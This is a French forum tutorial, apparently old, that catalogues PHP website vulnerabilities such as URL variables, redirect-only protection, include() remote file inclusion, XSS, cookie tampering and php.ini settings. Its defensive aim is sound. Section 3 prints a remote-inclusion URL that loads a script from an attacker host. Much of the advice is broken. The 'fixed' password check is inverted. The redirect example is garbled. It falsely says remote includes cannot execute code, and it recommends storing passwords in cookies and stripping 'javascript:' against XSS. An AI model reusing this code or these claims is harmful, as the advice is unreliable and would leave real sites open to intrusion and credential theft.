J'initie ce Tutorial sur le piratage et l'exploitation possible des failles de sécurité de vos sites en PHP, le but étant de rassembler la liste la plus exhaustive possible des problemes. A ceux qui lisent ce thread dans le but d'apprendre à savoir utiliser les failles de sécurité, passez votre chemin, vous ne trouverez ici aucune information pour vous. (Enfin, cherchez toujours.. ;-)
Je vous invite à ajouter des failles possibles en réponse à ce sujet, j'éditerais le mien, vous pouvez également poser vosquestionsrelatives ici.
1. Attention au variables
2. Défauts de la redirection
3. Faille Include()
4. Failles XSS
5. Failles Cookies
6. Faille Urlencode()
7. Faille Require()
8. Configuration de PHP
9. Vérifier la sécurité de son site sans lever le petit doigt.
1. Variables a l'air, gaffe aux courrants d'air. Par Juliian
Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin?login=1.
Pourquoi ? Même si cela peut semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'estplus grave) dans des scripts installables sur vos sites, il faut doncveiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.
Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, suivre les liens "sessions" et "cookies" pour avoir une explication plus étendue.
2. La redirection ? Pas une solution. Par Juliian
Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se connecter, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique, quels genre de codes sont infectés ?
If ($password != "Pouletgrille") { print'
Exemple : <meta name="robots" content="index, follow"> '; }
Pourquoi? Que va il se passer quand le "piratin" va rentrer un mauvais mot depasse ? Il va arriver sur votre page protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre espace "protégé", et pourra y accomplir ses méfaits.
Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :
If($password != "Pouletgrille") { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion !'; }
3. La célèbre faille Include() Par Juliian
Célèbre car très utilisée, la faille include permet au "pirate" de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié desfichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :
<? include ($page) ?>
Si votre URL est sous la forme suivante : http://www.votresite.com/index.php?page=accueil.php
Pourquoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pasbien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer sespages malveillantes (comme cela: http://www.votresite.com/?page=http://www.jesuisunpirate.com/script.php, (PS pour les "pirates", cette méthode ne marche pas, n'essayez même pas. ;-), et comme le PHP est un langage merveilleux, il pourra TOUT faire.
Comment y remédier ? C'est très simple, et pas très contraignant :
$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");
Si c'est du chinois pour vous, soyez assuré que cette méthode remplira son rôle.
Quelques explications : Ce mini code inclu votre page en enleveant les caractères spéciaux, les "/" (slash) par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ?Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le code oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)
// Update : Pour ceux qui se demandent pourquoi l'utilisation d'un fichier php distant rend impossible l'exécution de codes malveillantes, je vais expliquer la situation brièvement : Quand le pirate tentera d'include son script, qui contiendra par exemple une commande pour supprimer votre fichier index.php (à savoir unlink("index.php"), le script s'exécutera dans un premier temps, sur son serveur puis ensuite sera inclu sur votre page. Ainsi, si son code ne contient que la commande de suppression de la page index.php, cela reviendra à include un fichier vierge, il lui sera simplement impossible d'executer un code PHP sur votre serveur..
4. La faille XSS ? Ca me donne de l'herpes ! Par Juliian
Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, concernées, vérifiez vos mises à jour !) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous :
Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.
Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant une entité HTML, ou empecher l'emplois de javascript, Pour se faire, il faut procéder comme suit :
$message=str_replace("javascript:","",$message)
C'est une méthique que je qualifierais de "barbare", elle supprimera juste le mot javascript des messages postés (et comme il est nécessaire d'ouvrir une balise de type <script="javascript">{code}</script>..), la méthode la plus sûre et la plus courrament utilisée restant la définition de vos messages comme des entités html :
htmlentities ($message)
5. La faille cookies ? Que nenni ! Par Juliian
Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.
Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.
Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot depasse dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas.
6. La faille urldecode() dans les requetes SQL. Par Savory
[En cours de refonte]
7. La faille require() par Savory
[En cours de refonte]
8. Cconfiguration de apache et mod_php par Juliian
Il serait bien trop long de vous guider pas à pas dans cette manoeuvre, certains sites développent cette manoeuvre sur des dizaines de pages, la configuration des apache étant quelque chose de très fastidieux, je ne retracerais que les erreurs courantes à ne pas commettre.
Je recommande vivement aux personnes qui n'ont jamais mis le nez dans le fichier de configuration de PHP (php.ini, entre autre) de ne toucher qu'aux paramètres dont ils sont absolument sûrs.
Le paramètre "Safe_Mode" : Le safe_mode doit toujours être activé, il ajoute tout un lot de sécurités non négligeables pour la gestion et le traitement de vos fichiers. Celui-ci intervient principalement dans les droits de lecture, d'écriture et de suppression des fichiers contenus sur votre machine. Il contrôle également la légitimité du manipulateur des fichiers, en vérifiant que le propriétaire du script est également le propriétaire des fichiers manipulés, par exemple. De plus amples précisions ici.
Le paramètre "Register_Globals" : Ce paramètre joue principalement sur les variables, il permet de contrôler la provenance des variables intervenant sur votre site. Il est extremement important de conserver ce paramètre sur off tant que vous ne maîtrisez pas toutes les subtilités de la manipulation de variables. Ce paramètre vous oblige à définir vous même le contenu de vos variables, et empêche les visiteurs de le faire pour vous.
9. Vérifier la sécurité de son site sans lever le petit doigt. Par Juliian
Cette méthode est très simple, elle se compose de trois étapes, comme suit :
1. Trouver un pirate talentueux et renommer.
2. L'insulter copieusement.
3. Lui donner par inadvertence l'adresse de votre site.
4. Attendre, et regarder le résultat.
Résultat final : Si votre site est encore en vie au bout d'une heure, félicitations ! Votre site est protégé.
Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)